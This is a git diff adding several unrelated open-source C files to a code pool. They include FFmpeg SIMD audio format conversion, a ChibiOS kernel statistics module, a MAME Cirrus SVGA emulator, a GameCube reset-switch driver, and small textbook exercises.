+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *
+ * MMX optimization by Nick Kurshev <nickols_k@mail.ru>
+ */
+
+#include "libavutil/cpu.h"
+#include "libavutil/x86_cpu.h"
+#include "libavcodec/fmtconvert.h"
+
+#if HAVE_YASM
+
+void ff_int32_to_float_fmul_scalar_sse (float *dst, const int *src, float mul, int len);
+void ff_int32_to_float_fmul_scalar_sse2(float *dst, const int *src, float mul, int len);
+
+void ff_float_to_int16_3dnow(int16_t *dst, const float *src, long len);
+void ff_float_to_int16_sse  (int16_t *dst, const float *src, long len);
+void ff_float_to_int16_sse2 (int16_t *dst, const float *src, long len);
+
+void ff_float_to_int16_interleave2_3dnow(int16_t *dst, const float **src, long len);
+void ff_float_to_int16_interleave2_sse  (int16_t *dst, const float **src, long len);
+void ff_float_to_int16_interleave2_sse2 (int16_t *dst, const float **src, long len);
+
+void ff_float_to_int16_interleave6_sse(int16_t *dst, const float **src, int len);
+void ff_float_to_int16_interleave6_3dnow(int16_t *dst, const float **src, int len);
+void ff_float_to_int16_interleave6_3dn2(int16_t *dst, const float **src, int len);
+
+#define ff_float_to_int16_interleave6_sse2 ff_float_to_int16_interleave6_sse
+
+#define FLOAT_TO_INT16_INTERLEAVE(cpu) \
+/* gcc pessimizes register allocation if this is in the same function as float_to_int16_interleave_sse2*/\
+static av_noinline void float_to_int16_interleave_misc_##cpu(int16_t *dst, const float **src, long len, int channels){\
+    DECLARE_ALIGNED(16, int16_t, tmp)[len];\
+    int i,j,c;\
+    for(c=0; c<channels; c++){\
+        ff_float_to_int16_##cpu(tmp, src[c], len);\
+        for(i=0, j=c; i<len; i++, j+=channels)\
+            dst[j] = tmp[i];\
+    }\
+}\
+\
+static void float_to_int16_interleave_##cpu(int16_t *dst, const float **src, long len, int channels){\
+    if(channels==1)\
+        ff_float_to_int16_##cpu(dst, src[0], len);\
+    else if(channels==2){\
+        ff_float_to_int16_interleave2_##cpu(dst, src, len);\
+    }else if(channels==6){\
+        ff_float_to_int16_interleave6_##cpu(dst, src, len);\
+    }else\
+        float_to_int16_interleave_misc_##cpu(dst, src, len, channels);\
+}
+
+FLOAT_TO_INT16_INTERLEAVE(3dnow)
+FLOAT_TO_INT16_INTERLEAVE(sse)
+FLOAT_TO_INT16_INTERLEAVE(sse2)
+
+static void float_to_int16_interleave_3dn2(int16_t *dst, const float **src, long len, int channels){
+    if(channels==6)
+        ff_float_to_int16_interleave6_3dn2(dst, src, len);
+    else
+        float_to_int16_interleave_3dnow(dst, src, len, channels);
+}
+
+void ff_float_interleave2_mmx(float *dst, const float **src, unsigned int len);
+void ff_float_interleave2_sse(float *dst, const float **src, unsigned int len);
+
+void ff_float_interleave6_mmx(float *dst, const float **src, unsigned int len);
+void ff_float_interleave6_sse(float *dst, const float **src, unsigned int len);
+
+static void float_interleave_mmx(float *dst, const float **src,
+                                 unsigned int len, int channels)
+{
+    if (channels == 2) {
+        ff_float_interleave2_mmx(dst, src, len);
+    } else if (channels == 6)
+        ff_float_interleave6_mmx(dst, src, len);
+    else
+        ff_float_interleave_c(dst, src, len, channels);
+}
+
+static void float_interleave_sse(float *dst, const float **src,
+                                 unsigned int len, int channels)
+{
+    if (channels == 2) {
+        ff_float_interleave2_sse(dst, src, len);
+    } else if (channels == 6)
+        ff_float_interleave6_sse(dst, src, len);
+    else
+        ff_float_interleave_c(dst, src, len, channels);
+}
+#endif
+
+void ff_fmt_convert_init_x86(FmtConvertContext *c, AVCodecContext *avctx)
+{
+    int mm_flags = av_get_cpu_flags();
+
+#if HAVE_YASM
+    if (mm_flags & AV_CPU_FLAG_MMX) {
+        c->float_interleave = float_interleave_mmx;
+
+        if (HAVE_AMD3DNOW && mm_flags & AV_CPU_FLAG_3DNOW) {
+            if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
+                c->float_to_int16 = ff_float_to_int16_3dnow;
+                c->float_to_int16_interleave = float_to_int16_interleave_3dnow;
+            }
+        }
+        if (HAVE_AMD3DNOWEXT && mm_flags & AV_CPU_FLAG_3DNOWEXT) {
+            if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
+                c->float_to_int16_interleave = float_to_int16_interleave_3dn2;
+            }
+        }
+        if (HAVE_SSE && mm_flags & AV_CPU_FLAG_SSE) {
+            c->int32_to_float_fmul_scalar = ff_int32_to_float_fmul_scalar_sse;
+            c->float_to_int16 = ff_float_to_int16_sse;
+            c->float_to_int16_interleave = float_to_int16_interleave_sse;
+            c->float_interleave = float_interleave_sse;
+        }
+        if (HAVE_SSE && mm_flags & AV_CPU_FLAG_SSE2) {
+            c->int32_to_float_fmul_scalar = ff_int32_to_float_fmul_scalar_sse2;
+            c->float_to_int16 = ff_float_to_int16_sse2;
+            c->float_to_int16_interleave = float_to_int16_interleave_sse2;
+        }
+    }
+#endif
+}
diff --git a/pool/shard001/C/0024538_chstats.c b/pool/shard001/C/0024538_chstats.c
new file mode 100644
index 0000000000000000000000000000000000000000..40169642e4d69bc4a98607e3ded9aecf180912f8
--- /dev/null
+++ b/pool/shard001/C/0024538_chstats.c
@@ -0,0 +1,124 @@
+/*
+    ChibiOS - Copyright (C) 2006..2015 Giovanni Di Sirio.
+
+    This file is part of ChibiOS.
+
+    ChibiOS is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 3 of the License, or
+    (at your option) any later version.
+
+    ChibiOS is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+/**
+ * @file    chstats.c
+ * @brief   Statistics module code.
+ *
+ * @addtogroup statistics
+ * @details Statistics services.
+ * @{
+ */
+
+#include "ch.h"
+
+#if (CH_DBG_STATISTICS == TRUE) || defined(__DOXYGEN__)
+
+/*===========================================================================*/
+/* Module local definitions.                                                 */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Module exported variables.                                                */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Module local types.                                                       */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Module local variables.                                                   */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Module local functions.                                                   */
+/*===========================================================================*/
+
+/*===========================================================================*/
+/* Module exported functions.                                                */
+/*===========================================================================*/
+
+/**
+ * @brief   Initializes the statistics module.
+ *
+ * @init
+ */
+void _stats_init(void) {
+
+  ch.kernel_stats.n_irq = (ucnt_t)0;
+  ch.kernel_stats.n_ctxswc = (ucnt_t)0;
+  chTMObjectInit(&ch.kernel_stats.m_crit_thd);
+  chTMObjectInit(&ch.kernel_stats.m_crit_isr);
+}
+
+/**
+ * @brief   Increases the IRQ counter.
+ */
+void _stats_increase_irq(void) {
+
+  ch.kernel_stats.n_irq++;
+}
+
+/**
+ * @brief   Updates context switch related statistics.
+ *
+ * @param[in] ntp       the thread to be switched in
+ * @param[in] otp       the thread to be switched out
+ */
+void _stats_ctxswc(thread_t *ntp, thread_t *otp) {
+
+  ch.kernel_stats.n_ctxswc++;
+  chTMChainMeasurementToX(&otp->p_stats, &ntp->p_stats);
+}
+
+/**
+ * @brief   Starts the measurement of a thread critical zone.
+ */
+void _stats_start_measure_crit_thd(void) {
+
+  chTMStartMeasurementX(&ch.kernel_stats.m_crit_thd);
+}
+
+/**
+ * @brief   Stops the measurement of a thread critical zone.
+ */
+void _stats_stop_measure_crit_thd(void) {
+
+  chTMStopMeasurementX(&ch.kernel_stats.m_crit_thd);
+}
+
+/**
+ * @brief   Starts the measurement of an ISR critical zone.
+ */
+void _stats_start_measure_crit_isr(void) {
+
+  chTMStartMeasurementX(&ch.kernel_stats.m_crit_isr);
+}
+
+/**
+ * @brief   Stops the measurement of an ISR critical zone.
+ */
+void _stats_stop_measure_crit_isr(void) {
+
+  chTMStopMeasurementX(&ch.kernel_stats.m_crit_isr);
+}
+
+#endif /* CH_DBG_STATISTICS == TRUE */
+
+/** @} */
diff --git a/pool/shard001/C/0024542_ProcMonitor.c b/pool/shard001/C/0024542_ProcMonitor.c
new file mode 100644
index 0000000000000000000000000000000000000000..05a0315e2eec113b569f33719cf6dd4eed2a8589
--- /dev/null
+++ b/pool/shard001/C/0024542_ProcMonitor.c
@@ -0,0 +1,156 @@
+#ifdef HAVE_CONFIG_H
+# include "SctConfig.h"
+#endif
+
+#include "SctConst.h"
+#include "SctCommon.h"
+#include "ProcCommon.h"
+
+#include <stdio.h>
+#include <string.h>
+
+#include <pthread.h>
+#include <semaphore.h>
+
+
+void* sctproc_monitor(void* arg){
+	return NULL;
+}
+
+#if 0
+void* sctjudge_displaytime(void* arg){
+	struct timespec timeinit, timecur, timepast;
+	struct timespec timesleep;
+	struct timespec timeexpire;
+
+	timesleep.tv_sec = 0;
+	timesleep.tv_nsec = (*(long*)arg);
+
+#ifdef HAVE_CONF_PROCMON_LINUX
+	int i;
+
+	pid_t pidcopy;
+
+	const char* sysstatfile = WITH_LINUXPROC"/stat";
+	char statfile[25], statusfile[25];
+	FILE *statp, *statusp, *sysstatp;
+
+	int strlencount, cpuinfostore;
+	char firstrun = 1, hdrstore[10];
+
+	unsigned long cpuuser, cpusystem, precpuuser, precpusystem;
+	unsigned long syscpuall, presyscpuall, diffsyscpuall;
+
+	unsigned short res_cpuuser, res_cpusystem;
+	unsigned long vmsize;
+#endif
+
+	pthread_mutex_lock(&tdisplay_mx);
+	tdisplay_yes = 1;
+	pthread_mutex_unlock(&tdisplay_mx);
+
+	sem_wait(&dispthr);
+
+#ifndef HAVE_CONF_CAP
+	enable_setuid();
+#endif
+
+	clock_gettime(CLOCK_REALTIME, &timeinit);
+
+#ifdef HAVE_CONF_PROCMON_LINUX
+	pthread_mutex_lock(&pidmutex);
+	pidcopy = pidchild;
+	pthread_mutex_unlock(&pidmutex);
+#endif
+
+#ifdef HAVE_CONF_PROCMON_LINUX
+	sprintf(statfile, WITH_LINUXPROC"/%d/stat", pidcopy);
+	sprintf(statusfile, WITH_LINUXPROC"/%d/status", pidcopy);
+#endif
+
+	do{
+		clock_gettime(CLOCK_REALTIME, &timecur);
+		difftimespec(&timeinit, &timecur, &timepast);
+		printf("\r%4ld.%03ld 秒", timepast.tv_sec,
+				timepast.tv_nsec / 1000000);
+#ifdef HAVE_CONF_PROCMON_LINUX
+		statp = fopen(statfile, "r");
+		statusp = fopen(statusfile, "r");
+		sysstatp = fopen(sysstatfile, "r");
+		if(statp != NULL && statusp != NULL && sysstatp != NULL){
+			strlencount = 0;
+			while(getc(statusp) != '\n'){
+				strlencount++;
+			}
+			strlencount -= 8; /* 把前面的「Name:   」這 8 個字去掉 */
+			/* 接下來從 /proc/[PID]/stat 取得 CPU 時間 */
+			fscanf(statp, "%*d"); /* 讀掉 PID */
+			while(getc(statp) != '('); /* 讀掉 command name 的左括弧 */
+			for(i=1; i<= strlencount; i++){ /* 讀掉整個 command name */
+				getc(statp);
+			}
+			while(getc(statp) != ')'); /* 讀掉 command name 的右括弧 */
+			fscanf(statp, "%*s %*d %*d %*d %*d %*d %*u %*u %*u %*u %*u"
+					"%lu %lu %*d %*d %*d %*d %*d %*d %*u %lu", 
+					&cpuuser, &cpusystem, &vmsize);
+			syscpuall = 0;
+			while(!feof(sysstatp)){
+				fscanf(sysstatp, "%9s", hdrstore);
+				if(!strcmp(hdrstore, "cpu")){
+					while(fscanf(sysstatp, "%d", &cpuinfostore) == 1){
+						syscpuall += cpuinfostore;
+					}
+					break;
+				}else{
+					while(getchar() != '\n');
+				}
+			}
+			if(!firstrun){
+				diffsyscpuall = syscpuall - presyscpuall;
+				if(diffsyscpuall){
+					res_cpuuser = 1000 * (cpuuser - precpuuser) / 
+						diffsyscpuall;
+					res_cpusystem = 1000 * (cpusystem - precpusystem) / 
+						diffsyscpuall;
+					printf("  user%%: %2d.%d  sys%%: %2d.%d",
+						res_cpuuser / 10, res_cpuuser % 10,
+						res_cpusystem / 10, res_cpusystem % 10);
+				}else{
+					fputs("  user%: ?     sys%: ?   ", stdout);
+				}
+			}else{
+				fputs("  user%: ?     sys%: ?   ", stdout);
+			}
+			precpuuser = cpuuser;
+			precpusystem = cpusystem;
+			presyscpuall = syscpuall;
+			printf("  VM: %lu KiB", vmsize / 1024);
+			fputs("                    ", stdout);
+		}
+		if(statp != NULL){
+			fclose(statp);
+		}
+		if(statusp != NULL){
+			fclose(statusp);
+		}
+		if(sysstatp != NULL){
+			fclose(sysstatp);
+		}
+		firstrun = 0;
+#endif
+		fflush(stdout);
+
+		clock_gettime(CLOCK_REALTIME, &timecur);
+		timeexpire.tv_sec = timecur.tv_sec + timesleep.tv_sec;
+		timeexpire.tv_nsec = timecur.tv_nsec + timesleep.tv_nsec;
+		checktimespec(&timeexpire);
+	}while(sem_timedwait(&dispthr, &timeexpire));
+
+	pthread_mutex_lock(&tdisplay_mx);
+	tdisplay_yes = 0;
+	pthread_mutex_unlock(&tdisplay_mx);
+
+	return NULL;
+}
+
+#endif
diff --git a/pool/shard001/C/0024543_5-2.c b/pool/shard001/C/0024543_5-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..88e81660050cc495283be913e4268a1c82cb87fa
--- /dev/null
+++ b/pool/shard001/C/0024543_5-2.c
@@ -0,0 +1,22 @@
+/*********************************************************
+*		SUM OF INTS				 *
+*	Author: Reez Patel				 *
+*	Source: Ex: 5.2 (P-147) = ANSI-C		 *
+**********************************************************/
+#include <stdio.h>
+
+int main()
+{
+	int i,n,sum;
+	for(i=100,n=0,sum=0;i <= 200; i++)
+	{
+		if(i%7 == 0)
+		{
+			sum += i;
+			n++;
+		}
+	}
+
+	printf("SUM:%d N:%d \n",sum,n);
+	return 0;
+}
diff --git a/pool/shard001/C/0024557_cirrus.c b/pool/shard001/C/0024557_cirrus.c
new file mode 100644
index 0000000000000000000000000000000000000000..b2ad17ca8d9dec0c6463287068041e243efb5176
--- /dev/null
+++ b/pool/shard001/C/0024557_cirrus.c
@@ -0,0 +1,216 @@
+/***************************************************************************
+
+	vidhrdw/cirrus.c
+
+	Cirrus SVGA card emulation (preliminary)
+
+	Cirrus has the following additional registers that are not present in
+	conventional VGA:
+
+	SEQ 06h:		Unlock Cirrus registers; write 12h to unlock registers,
+					and	read 12h back to confirm Cirrus presence.
+	SEQ 07h
+		bit 3-1:	Pixel depth
+						0x00	8 bpp
+						0x02	16 bpp (double vert clock)
+						0x04	24 bpp
+						0x06	16 bpp
+						0x08	32 bpp
+		bit 0:		VGA/SVGA (0=VGA, 1=SVGA)
+	SEQ 0Fh
+		bit 7:		Bankswitch enable
+		bits 4-3:	Memory size
+						0x00	256K
+						0x08	512K
+						0x10	1M
+						0x18	2M
+	SEQ 12h:		Hardware Cursor
+
+
+
+					
+	GC 09h:			Set 64k bank (bits 3-0 only)
+	GC 20h:			Blit Width (bits 7-0)
+	GC 21h:			Blit Width (bits 12-8)
+	GC 22h:			Blit Height (bits 7-0)
+	GC 23h:			Blit Height (bits 12-8)
+	GC 24h:			Blit Destination Pitch (bits 7-0)
+	GC 25h:			Blit Destination Pitch (bits 12-8)
+	GC 26h:			Blit Source Pitch (bits 7-0)
+	GC 27h:			Blit Source Pitch (bits 12-8)
+	GC 28h:			Blit Destination Address (bits 7-0)
+	GC 29h:			Blit Destination Address (bits 15-8)
+	GC 2Ah:			Blit Destination Address (bits 21-16)
+	GC 2Ch:			Blit Source Address (bits 7-0)
+	GC 2Dh:			Blit Source Address (bits 15-8)
+	GC 2Eh:			Blit Source Address (bits 21-16)
+	GC 2Fh:			Blit Write Mask
+	GC 30h:			Blit Mode
+	GC 31h:			Blit Status
+						bit 7 - Autostart
+						bit 4 - FIFO Used
+						bit 2 - Blit Reset
+						bit 1 - Blit Started
+						bit 0 - Blit Busy
+	GC 32h:			Raster Operation
+	GC 33h:			Blit Mode Extension
+	GC 34h:			Blit Transparent Color (bits 7-0)
+	GC 35h:			Blit Transparent Color (bits 15-8)
+	GC 38h:			Blit Transparent Color Mask (bits 7-0)
+	GC 39h:			Blit Transparent Color Mask (bits 15-8)
+
+***************************************************************************/
+
+#include "cirrus.h"
+#include "memconv.h"
+
+#define LOG_PCIACCESS	0
+
+
+
+static void cirrus_update_8bpp(mame_bitmap *bitmap, struct crtc6845 *crtc)
+{
+	UINT16 *line;
+	const UINT8 *vram;
+	int y, x;
+
+	vram = (const UINT8 *) pc_vga_memory();
+
+	for (y = 0; y < 480; y++)
+	{
+		line = (UINT16 *) bitmap->line[y];
+
+		for (x = 0; x < 640; x++)
+			*line++ = *vram++;
+	}
+}
+
+
+
+static void cirrus_update_16bpp(mame_bitmap *bitmap, struct crtc6845 *crtc)
+{
+	fatalerror("NYI");
+}
+
+
+
+static void cirrus_update_24bpp(mame_bitmap *bitmap, struct crtc6845 *crtc)
+{
+	fatalerror("NYI");
+}
+
+
+
+static void cirrus_update_32bpp(mame_bitmap *bitmap, struct crtc6845 *crtc)
+{
+	fatalerror("NYI");
+}
+
+
+
+static pc_video_update_proc cirrus_choosevideomode(const UINT8 *sequencer,
+	const UINT8 *crtc, const UINT8 *gc, int *width, int *height)
+{
+	pc_video_update_proc proc = NULL;
+
+	if ((sequencer[0x06] == 0x12) && (sequencer[0x07] & 0x01))
+	{
+		*width = 640;
+		*height = 480;
+
+		switch(sequencer[0x07] & 0x0E)
+		{
+			case 0x00:	proc = cirrus_update_8bpp; break;
+			case 0x02:	proc = cirrus_update_16bpp; break;
+			case 0x04:	proc = cirrus_update_24bpp; break;
+			case 0x06:	proc = cirrus_update_16bpp; break;
+			case 0x08:	proc = cirrus_update_32bpp; break;
+		}
+	}
+	return proc;
+}
+
+
+
+const struct pc_svga_interface cirrus_svga_interface =
+{
+	2 * 1024 * 1024,	/* 2 megs vram */
+	8,					/* 8 sequencer registers */
+	10,					/* 10 gc registers */
+	25,					/* 25 crtc registers */
+	cirrus_choosevideomode
+};
+
+
+
+/*************************************
+ *
+ *	PCI card interface
+ *
+ *************************************/
+
+static UINT32 cirrus5430_pci_read(int function, int offset, UINT32 mem_mask)
+{
+	UINT32 result = 0;
+
+	if (function == 0)
+	{
+		switch(offset)
+		{
+			case 0x00:	/* vendor/device ID */
+				result = 0x00A01013;
+				break;
+
+			case 0x08:
+				result = 0x03000000;
+				break;
+
+			case 0x10:
+				result = 0xD0000000;
+				break;
+
+			default:
+				result = 0;
+				break;
+		}
+	}
+
+	if (LOG_PCIACCESS)
+		logerror("cirrus5430_pci_read(): function=%d offset=0x%02X result=0x%04X\n", function, offset, result);
+	return result;
+}
+
+
+
+static void cirrus5430_pci_write(int function, int offset, UINT32 data, UINT32 mem_mask)
+{
+	if (LOG_PCIACCESS)
+		logerror("cirrus5430_pci_write(): function=%d offset=0x%02X data=0x%04X\n", function, offset, data);
+}
+
+
+
+const struct pci_device_info cirrus5430_callbacks =
+{
+	cirrus5430_pci_read,
+	cirrus5430_pci_write
+};
+
+
+
+/*************************************
+ *
+ *	Ports
+ *
+ *************************************/
+
+WRITE8_HANDLER( cirrus_42E8_w )
+{
+	if (data & 0x80)
+		pc_vga_reset();
+}
+
+
+
+WRITE64_HANDLER( cirrus_64be_42E8_w ) { write64be_with_write8_handler(cirrus_42E8_w, offset, data, mem_mask); }
+
diff --git a/pool/shard001/C/0024564_gcn-rsw.c b/pool/shard001/C/0024564_gcn-rsw.c
new file mode 100644
index 0000000000000000000000000000000000000000..f435b64bfaa8993fcc30e899b66bc7acd1d9b57f
--- /dev/null
+++ b/pool/shard001/C/0024564_gcn-rsw.c
@@ -0,0 +1,314 @@
+/*
+ * arch/powerpc/platforms/embedded6xx/gcn-rsw.c
+ *
+ * Nintendo GameCube/Wii reset switch (RSW) driver.
+ * Copyright (C) 2004-2009 The GameCube Linux Team
+ * Copyright (C) 2004 Stefan Esser
+ * Copyright (C) 2004,2005,2008,2009 Albert Herranz
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/of_platform.h>
+#include <linux/interrupt.h>
+#include <linux/io.h>
+#include <linux/slab.h>
+#include <linux/spinlock.h>
+#include <linux/delay.h>
+#include <linux/reboot.h>
+#include <linux/kexec.h>
+
+/* for flipper hardware registers */
+#include "flipper-pic.h"
+
+#define FLIPPER_ICR		0x00
+#define FLIPPER_ICR_RSS		(1<<16) /* reset switch state */
+
+#define DRV_MODULE_NAME      "gcn-rsw"
+#define DRV_DESCRIPTION      "Nintendo GameCube/Wii Reset SWitch (RSW) driver"
+#define DRV_AUTHOR           "Stefan Esser <se@nopiracy.de>, " \
+			     "Albert Herranz"
+
+static char rsw_driver_version[] = "1.0i";
+
+#define drv_printk(level, format, arg...) \
+	printk(level DRV_MODULE_NAME ": " format , ## arg)
+
+
+#define RSW_NORMAL_TIMEOUT      3	/* seconds */
+#define RSW_EMERGENCY_PUSHES   10
+
+enum rsw_state {
+	IDLE = 0,		/* nothing to do */
+	NORMAL_RESET,		/* reboot requested */
+	EMERGENCY_RESET,	/* try emergency reboot */
+};
+
+struct rsw_drvdata {
+	enum rsw_state state;
+	struct timer_list timer;
+	unsigned long jiffies;
+	int pushes;
+	int timeout;
+	spinlock_t lock;
+
+	void __iomem *io_base;
+	unsigned int irq;
+
+	struct device *dev;
+};
+
+
+/*
+ * Tells if the reset button is pressed.
+ */
+static int rsw_is_button_pressed(void __iomem *io_base)
+{
+	u32 icr = in_be32(io_base + FLIPPER_ICR);
+
+	drv_printk(KERN_INFO, "%x\n", icr);
+	return !(icr & FLIPPER_ICR_RSS);
+}
+
+/*
+ * Invokes a normal system restart.
+ */
+static void rsw_normal_restart(unsigned long dummy)
+{
+	ctrl_alt_del();
+}
+
+/*
+ * Performs a low level system restart.
+ */
+static void rsw_emergency_restart(void)
+{
+#ifdef CONFIG_KEXEC
+	struct kimage *image;
+	image = xchg(&kexec_image, 0);
+	if (image)
+		machine_kexec(image);
+#endif
+	machine_restart(NULL);
+}
+
+/*
+ * Handles the interrupt associated to the reset button.
+ */
+static irqreturn_t rsw_handler(int irq, void *data)
+{
+	struct rsw_drvdata *drvdata = (struct rsw_drvdata *)data;
+	unsigned long flags;
+
+	if (!rsw_is_button_pressed(drvdata->io_base)) {
+		/* nothing to do */
+		return IRQ_HANDLED;
+	}
+
+	spin_lock_irqsave(&drvdata->lock, flags);
+
+	/* someone pushed the reset button */
+	switch (drvdata->state) {
+	case IDLE:
+		drvdata->state = NORMAL_RESET;
+		printk(KERN_EMERG "Rebooting in %d seconds...\n",
+		       drvdata->timeout);
+		printk(KERN_WARNING
+		       "Push the Reset button again to cancel reboot!\n");
+
+		/* schedule a reboot in a few seconds */
+		init_timer(&drvdata->timer);
+		drvdata->timer.expires = jiffies + drvdata->timeout * HZ;
+		drvdata->timer.function =
+		    (void (*)(unsigned long))rsw_normal_restart;
+		add_timer(&drvdata->timer);
+		drvdata->jiffies = jiffies;
+		break;
+	case NORMAL_RESET:
+		if (time_before(jiffies,
+				drvdata->jiffies + drvdata->timeout * HZ)) {
+			/* the reset button was hit again before deadline */
+			del_timer(&drvdata->timer);
+			drvdata->state = IDLE;
+			printk(KERN_EMERG "Reboot cancelled!\n");
+		} else {
+			/*
+			 * Time expired. System should be now restarting.
+			 * Go to emergency mode in case something goes bad.
+			 */
+			drvdata->state = EMERGENCY_RESET;
+			drvdata->pushes = 0;
+			printk(KERN_WARNING
+			       "SWITCHED TO EMERGENCY RESET MODE!\n"
+			       "Push %d times the Reset button to force"
+			       " a hard reset!\n"
+			       "NOTE THAT THIS COULD CAUSE DATA LOSS!\n",
+			       RSW_EMERGENCY_PUSHES);
+		}
+		break;
+	case EMERGENCY_RESET:
+		/* force a hard reset if the user insists ... */
+		if (++drvdata->pushes >= RSW_EMERGENCY_PUSHES) {
+			spin_unlock_irqrestore(&drvdata->lock, flags);
+			rsw_emergency_restart();
+			return IRQ_HANDLED;
+		} else {
+			printk(KERN_INFO "%d/%d\n", drvdata->pushes,
+			       RSW_EMERGENCY_PUSHES);
+		}
+		break;
+	}
+
+	spin_unlock_irqrestore(&drvdata->lock, flags);
+
+	return IRQ_HANDLED;
+}
+
+/*
+ * Setup routines.
+ *
+ */
+
+static int rsw_init(struct rsw_drvdata *drvdata, struct resource *mem, int irq)
+{
+	int retval;
+
+	drvdata->io_base = ioremap(mem->start, mem->end - mem->start + 1);
+	drvdata->irq = irq;
+
+	spin_lock_init(&drvdata->lock);
+	drvdata->state = IDLE;
+	drvdata->timeout = RSW_NORMAL_TIMEOUT;
+
+	retval = request_irq(drvdata->irq, rsw_handler, 0,
+			     DRV_MODULE_NAME, drvdata);
+	if (retval) {
+		drv_printk(KERN_ERR, "request of IRQ %d failed\n",
+			   drvdata->irq);
+	}
+	return retval;
+}
+
+static void rsw_exit(struct rsw_drvdata *drvdata)
+{
+	free_irq(drvdata->irq, drvdata);
+	if (drvdata->io_base) {
+		iounmap(drvdata->io_base);
+		drvdata->io_base = NULL;
+	}
+}
+
+/*
+ * Driver model helper routines.
+ *
+ */
+
+static int rsw_do_probe(struct device *dev, struct resource *mem, int irq)
+{
+	struct rsw_drvdata *drvdata;
+	int retval;
+
+	drvdata = kzalloc(sizeof(*drvdata), GFP_KERNEL);
+	if (!drvdata) {
+		drv_printk(KERN_ERR, "failed to allocate rsw_drvdata\n");
+		return -ENOMEM;
+	}
+	dev_set_drvdata(dev, drvdata);
+	drvdata->dev = dev;
+
+	retval = rsw_init(drvdata, mem, irq);
+	if (retval) {
+		dev_set_drvdata(dev, NULL);
+		kfree(drvdata);
+	}
+	return retval;
+}
+
+static int rsw_do_remove(struct device *dev)
+{
+	struct rsw_drvdata *drvdata = dev_get_drvdata(dev);
+
+	if (drvdata) {
+		rsw_exit(drvdata);
+		dev_set_drvdata(dev, NULL);
+		kfree(drvdata);
+		return 0;
+	}
+	return -ENODEV;
+}
+
+/*
+ * OF platform driver hooks.
+ *
+ */
+
+static int rsw_of_probe(struct platform_device *odev)
+
+{
+	struct resource mem;
+	int retval;
+
+	retval = of_address_to_resource(odev->dev.of_node, 0, &mem);
+	if (retval) {
+		drv_printk(KERN_ERR, "no io memory range found\n");
+		return -ENODEV;
+	}
+
+	return rsw_do_probe(&odev->dev,
+			    &mem, irq_of_parse_and_map(odev->dev.of_node, 0));
+}
+
+static int __exit rsw_of_remove(struct platform_device *odev)
+{
+	return rsw_do_remove(&odev->dev);
+}
+
+static struct of_device_id rsw_of_match[] = {
+	{.compatible = "nintendo,flipper-pi"},
+	{.compatible = "nintendo,hollywood-pi"},
+	{},
+};
+
+MODULE_DEVICE_TABLE(of, rsw_of_match);
+
+static struct platform_driver rsw_of_driver = {
+	.driver = {
+		.name = DRV_MODULE_NAME,
+		.owner = THIS_MODULE,
+		.of_match_table = rsw_of_match,
+	},
+	.probe = rsw_of_probe,
+	.remove = rsw_of_remove,
+};
+
+/*
+ * Kernel module hooks.
+ *
+ */
+
+static int __init rsw_init_module(void)
+{
+	drv_printk(KERN_INFO, "%s - version %s\n", DRV_DESCRIPTION,
+		   rsw_driver_version);
+
+	return platform_driver_register(&rsw_of_driver);
+}
+
+static void __exit rsw_exit_module(void)
+{
+	platform_driver_unregister(&rsw_of_driver);
+}
+
+module_init(rsw_init_module);
+module_exit(rsw_exit_module);
+
+MODULE_DESCRIPTION(DRV_DESCRIPTION);
+MODULE_AUTHOR(DRV_AUTHOR);
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0024575_dyn_arr.c b/pool/shard001/C/0024575_dyn_arr.c
new file mode 100644
index 0000000000000000000000000000000000000000..3e17a392cb5620b11d4851acf31024b703d14231
--- /dev/null
+++ b/pool/shard001/C/0024575_dyn_arr.c
@@ -0,0 +1,40 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+int main(void)
+{
+    double * ptd;
+    int number;
+    int max = 0, i = 0;
+
+    puts("What is the maximum number fo type double entries?");
+    if (scanf("%d", &max) != 1) {
+        puts("Number not correctly entered --bye");
+        exit(EXIT_FAILURE);
+    }
+    // could also use calloc(num items, size of item) - another difference is it sets bits to 0
+    ptd = (double *) malloc(max * sizeof(double));
+    if (ptd == NULL) {
+        puts("Memory allocation failed. Bye");
+        exit(EXIT_FAILURE);
+    }
+
+    puts("Enter the values (q to quit)");
+    while (i < max && scanf("%lf", &ptd[i]) == 1) {
+        ++i;
+    }
+    printf("Here are your %d entries:\n", number = i);
+    for (i = 0; i < number; i++) {
+        printf("%7.2f ", ptd[i]);
+        if (i % 7 == 6) {
+            putchar('\n');
+        }
+    }
+    if (i % 7 != 0) {
+        putchar('\n');
+    }
+    puts("done");
+    free(ptd);
+
+    return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0024582_GPIO.c b/pool/shard001/C/0024582_GPIO.c
new file mode 100644
index 0000000000000000000000000000000000000000..8cd985b45d5b111631d879008eb27dd2e1b5790a
--- /dev/null
+++ b/pool/shard001/C/0024582_GPIO.c
@@ -0,0 +1,190 @@
+/* GPIO.c
+ * 
+ * PI_ROBOT - PROYECTO CONTROL AUTOMATICO, I SEMESTRE 2015
